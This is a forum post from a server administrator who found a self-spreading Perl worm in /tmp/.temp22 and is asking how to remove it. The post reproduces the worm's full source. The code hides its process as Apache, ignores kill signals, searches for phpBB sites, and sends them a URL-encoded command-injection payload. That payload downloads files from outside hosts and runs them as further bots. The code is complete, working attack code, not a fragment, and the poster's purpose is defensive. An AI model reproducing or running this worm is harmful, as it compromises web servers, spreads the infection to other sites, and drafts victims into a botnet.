I notice suddenly lots of processes running with high CPU so I check and they are accessing /tmp/.temp22
There is a file in there called ssh2.htm which contains the following code...
#/usr/bin/perl
################################################################################
# ------------------------------------------------------------------------ #
# Severino Honorato - /server irc.priv8crew.info #Priv8crew - ssh.D.Worm #
# #
################################################################################
use IO::Socket;
use LWP::Simple;
my $processo = "/usr/local/apache/bin/httpd - D5SL";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
while(1){
@vul = "";
$a=0;
$numero = int rand(999);
$procura = "viewtopic.php?t=$numero";
######################################
for($n=1;$n<9000;$n += 105){
@cade = get("http://search.msn.com.br/advresults.aspx?q=$procura&FORM=SMCRT&ps=ba=$n") or next;
$ae = "@cade";
#print $ae;
while ($ae=~ m/<\/span><br\/><br\/><\/div><\/li><li><a href=\".*?\" class=\"t\">/){
$ae=~ s/<\/span><br\/><br\/><\/div><\/li><li><a href=\"(.*?)\" class=\"t\">/$1/;
$uber=$1;
#print $uber;
if ($uber =~/&/){
$nu = index $uber, '&';
$uber = substr($uber,0,$nu);
}
$vul[$a] = $uber;
#print $uber."\n";
$a++
}
#print 'Encontrados: '.$a.' Sites';
}
#########################
$cmd = "&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd /tmp;mkdir .temp22;cd .temp22;wget http://www.quasi-sane.com/pics/bot.htm;wget http://weblicious.com/.notes/ssh2.htm;perl ssh2.htm;rm ssh.htm;perl bot.htm;rm bot.htm%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';";
$b = scalar(@vul);
for($a=0;$a<=$b;$a++)
{
$sitevul = $vul[$a] . $cmd;
if($sitevul !~/http/){ $sitevul = 'http://' . $sitevul; }
$teste1 = get($sitevul) or next;
$teste1 = "";
}
}
Can anyone help me stop this ? Whenever I delete the .temp22 folder it returns again minutes later. The processes build up until they eventually take up too many resources.



LinkBack URL
About LinkBacks
Reply With Quote




